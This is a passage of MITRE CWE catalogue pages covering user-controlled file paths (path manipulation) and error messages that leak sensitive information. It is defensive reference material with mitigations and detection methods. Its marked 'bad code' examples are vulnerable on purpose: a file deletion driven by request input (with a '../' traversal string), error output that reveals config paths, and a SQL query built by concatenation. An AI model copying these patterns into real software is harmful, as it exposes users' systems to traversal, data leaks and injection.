The software allows user input to control or influence paths or file names that are used in filesystem operations.
+ Extended Description

This could allow an attacker to access or modify system files or other files that are critical to the application.

Path manipulation errors occur when the following two conditions are met:

1. An attacker can specify a path used in an operation on the filesystem.
2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted.

For example, the program may give the attacker the ability to overwrite the specified file or run with a configuration controlled by the attacker.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.610Externally Controlled Reference to a Resource in Another Sphere
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.642External Control of Critical State Data
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.114Process Control
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.59Improper Link Resolution Before File Access ('Link Following')
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.98Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.434Unrestricted Upload of File with Dangerous Type
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.399Resource Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1015Limit Access
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Operating Systems

Class: Unix (Often Prevalent)

Class: Windows (Often Prevalent)

Class: macOS (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality

Technical Impact: Read Files or Directories; Modify Files or Directories

The application can operate on unexpected files. Confidentiality is violated when the targeted filename is not directly readable by the attacker.
Integrity
Confidentiality
Availability

Technical Impact: Modify Files or Directories; Execute Unauthorized Code or Commands

The application can operate on unexpected files. This may violate integrity if the filename is written to, or if the filename is for a program or other form of executable code.
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Resource Consumption (Other)

The application can operate on unexpected files. Availability can be violated if the attacker specifies an unexpected file that the application modifies. Availability can also be affected if the attacker specifies a filename for a large file, or points to a special device or a file that does not have the format that the application expects.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

(bad code)
Example Language: Java 
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();

Example 2

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

(bad code)
Example Language: Java 
fis = new FileInputStream(cfg.getProperty("sub")+".txt");
amt = fis.read(arr);
out.println(arr);
+ Observed Examples
ReferenceDescription
Chain: external control of values for user's desired language and theme enables path traversal.
Chain: external control of user's target language enables remote file inclusion.
+ Potential Mitigations

Phase: Architecture and Design

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.

Phases: Architecture and Design; Operation

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.

Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness: High

Phase: Implementation

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).

Phases: Installation; Operation

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

Phases: Operation; Implementation

If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7522009 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
+ Notes

Maintenance

CWE-114 is a Class, but it is listed a child of CWE-73 in view 1000. This suggests some abstraction problems that should be resolved in future versions.

Relationship

The external control of filenames can be the primary link in chains with other file-related weaknesses, as seen in the CanPrecede relationships. This is because software systems use files for many different purposes: to execute programs, load code libraries, to store application data, to store configuration settings, record temporary data, act as signals or semaphores to other processes, etc.

However, those weaknesses do not always require external control. For example, link-following weaknesses (CWE-59) often involve pathnames that are not controllable by the attacker at all.

The external control can be resultant from other issues. For example, in PHP applications, the register_globals setting can allow an attacker to modify variables that the programmer thought were immutable, enabling file inclusion (CWE-98) and path traversal (CWE-22). Operating with excessive privileges (CWE-250) might allow an attacker to specify an input filename that is not directly readable by the attacker, but is accessible to the privileged program. A buffer overflow (CWE-119) might give an attacker control over nearby memory locations that are related to pathnames, but were not directly modifiable by the attacker.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsPath Manipulation
Software Fault PatternsSFP16Path Traversal
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-197 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Common_Consequences, Demonstrative_Examples, Description, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships, Weakness_Ordinalities
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Description
2009-12-28CWE Content TeamMITRE
updated Detection_Factors
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Time_of_Introduction, Type
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes, Potential_Mitigations
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Manipulation

CWE-209: Generation of Error Message Containing Sensitive Information

Weakness ID: 209
Abstraction: Base
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software generates an error message that includes sensitive information about its environment, users, or associated data.
+ Extended Description

The sensitive information may be valuable information on its own (such as a password), or it may be useful for launching other, more serious attacks. The error message may be created in different ways:

  • self-generated: the source code explicitly constructs the error message and delivers it
  • externally-generated: the external environment, such as a language interpreter, handles the error and constructs its own message, whose contents are not under direct control by the programmer

An attacker may use the contents of error messages to help launch another, more focused attack. For example, an attempt to exploit a path traversal weakness (CWE-22) might yield the full pathname of the installed application. In turn, this could be used to select the proper number of ".." sequences to navigate to the targeted file. An attack using SQL injection (CWE-89) might not initially succeed, but an error message could reveal the malformed query, which would expose query logic and possibly even passwords or other sensitive information used within the query.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.755Improper Handling of Exceptional Conditions
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.200Exposure of Sensitive Information to an Unauthorized Actor
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.210Self-generated Error Message Containing Sensitive Information
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.211Externally-Generated Error Message Containing Sensitive Information
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.550Server-generated Error Message Containing Sensitive Information
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1295Debug Messages Revealing Unnecessary Information
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.600Uncaught Exception in Servlet
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.756Missing Custom Error Page
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.199Information Management Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.389Error Conditions, Return Values, Status Codes
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.200Exposure of Sensitive Information to an Unauthorized Actor
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1015Limit Access
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
System Configuration
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

PHP (Often Prevalent)

Java (Often Prevalent)

Class: Language-Independent (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

Often this will either reveal sensitive information which may be used for a later attack or private information stored in the server.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

In the following example, sensitive information might be printed depending on the exception that occurs.

(bad code)
Example Language: Java 
try {
/.../
}
catch (Exception e) {
System.out.println(e);
}

If an exception related to SQL is handled by the catch, then the output might contain sensitive information such as SQL query structure or private information. If this output is redirected to a web user, this may represent a security problem.

Example 2

This code tries to open a database connection, and prints any exceptions that occur.

(bad code)
Example Language: Java 
try {
openDbConnection();
}
//print exception message that includes exception message and configuration file location
catch (Exception $e) {
echo 'Caught exception: ', $e->getMessage(), '\n';
echo 'Check credentials in config file at: ', $Mysql_config_location, '\n';
}

If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.

Example 3

The following code generates an error message that leaks the full pathname of the configuration file.

(bad code)
Example Language: Perl 
$ConfigDir = "/home/myprog/config";
$uname = GetUserInput("username");

# avoid CWE-22, CWE-78, others.
ExitError("Bad hacker!") if ($uname !~ /^\w+$/);
$file = "$ConfigDir/$uname.txt";
if (! (-e $file)) {
ExitError("Error: $file does not exist");
}
...

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a $file that exists, an attacker could get this pathname. It could then be used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application.

Example 4

In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.

(bad code)
Example Language: Java 
public BankAccount getUserBankAccount(String username, String accountNumber) {
BankAccount userAccount = null;
String query = null;
try {
if (isAuthorizedUser(username)) {
query = "SELECT * FROM accounts WHERE owner = "
+ username + " AND accountID = " + accountNumber;
DatabaseManager dbManager = new DatabaseManager();
Connection conn = dbManager.getConnection();
Statement stmt = conn.createStatement();
ResultSet queryResult = stmt.executeQuery(query);
userAccount = (BankAccount)queryResult.getObject(accountNumber);
}
} catch (SQLException ex) {
String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
}
return userAccount;
}

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

+ Observed Examples
ReferenceDescription
POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness.
Program reveals password in error message if attacker can trigger certain database errors.
Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209).
Existence of user names can be determined by requesting a nonexistent blog and reading the error message.
Direct request to library file in web application triggers pathname leak in error message.
Malformed input to login page causes leak of full path when IMAP call fails.
Malformed regexp syntax leads to information exposure in error message.
verbose logging stores admin credentials in a world-readablelog file
SSH password for private key stored in build log
+ Potential Mitigations

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.

If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

Phase: Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user.

Phase: Implementation

Strategy: Attack Surface Reduction

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

Effectiveness: Defense in Depth

Note: This makes it easier to spot places in the code where data is being used that is unencrypted.

Phases: Implementation; Build and Compilation

Strategy: Compilation or Build Hardening

Debugging information should not make its way into a production release.

Phases: Implementation; Build and Compilation

Strategy: Environment Hardening

Debugging information should not make its way into a production release.

Phase: System Configuration

Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the display_errors setting during configuration, or at runtime using the error_reporting() function.

Phase: System Configuration

Create default error pages or messages that do not leak any information.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Manual Analysis

This weakness generally requires domain-specific interpretation using manual analysis. However, the number of potential error conditions may be too large to cover completely within limited time constraints.

Effectiveness: High

Automated Analysis

Automated methods may be able to detect certain idioms automatically, such as exposed stack traces or pathnames, but violation of business rules or privacy requirements is not typically feasible.

Effectiveness: Moderate

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Error conditions may be triggered with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

Effectiveness: Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.717OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.728OWASP Top Ten 2004 Category A7 - Improper Error Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.815OWASP Top Ten 2010 Category A6 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.851The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8672011 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.880CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.933OWASP Top Ten 2013 Category A5 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1032OWASP Top Ten 2017 Category A6 - Security Misconfiguration
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPAccidental leaking of sensitive information through error messages
OWASP Top Ten 2007A6CWE More SpecificInformation Leakage and Improper Error Handling
OWASP Top Ten 2004A7CWE More SpecificImproper Error Handling
OWASP Top Ten 2004A10CWE More SpecificInsecure Configuration Management
The CERT Oracle Secure Coding Standard for Java (2011)ERR01-JDo not allow exceptions to expose sensitive information
Software Fault PatternsSFP23Exposed Data
+ References
[REF-174] Web Application Security Consortium. "Information Leakage". <http://www.webappsec.org/projects/threat/classes/information_leakage.shtml>.
[REF-175] Brian Chess and Jacob West. "Secure Programming with Static Analysis". Section 9.2, Page 326. Addison-Wesley. 2007.
[REF-176] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 16, "General Good Practices." Page 415. 1st Edition. Microsoft Press. 2001-11-13.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 12: Information Leakage." Page 191. McGraw-Hill. 2010.
[REF-179] Johannes Ullrich. "Top 25 Series - Rank 16 - Information Exposure Through an Error Message". SANS Software Security Institute. 2010-03-17. <http://software-security.sans.org/blog/2010/03/17/top-25-series-rank-16-information-exposure-through-an-error-message>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Overly Verbose Error Messages", Page 75. 1st Edition. Addison Wesley. 2006.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Relationships
2009-01-12CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Time_of_Introduction
2009-03-10CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, Relationships
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples, Name, Potential_Mitigations, References, Time_of_Introduction
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References
2010-09-09Veracode
Suggested OWASP Top Ten mapping
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
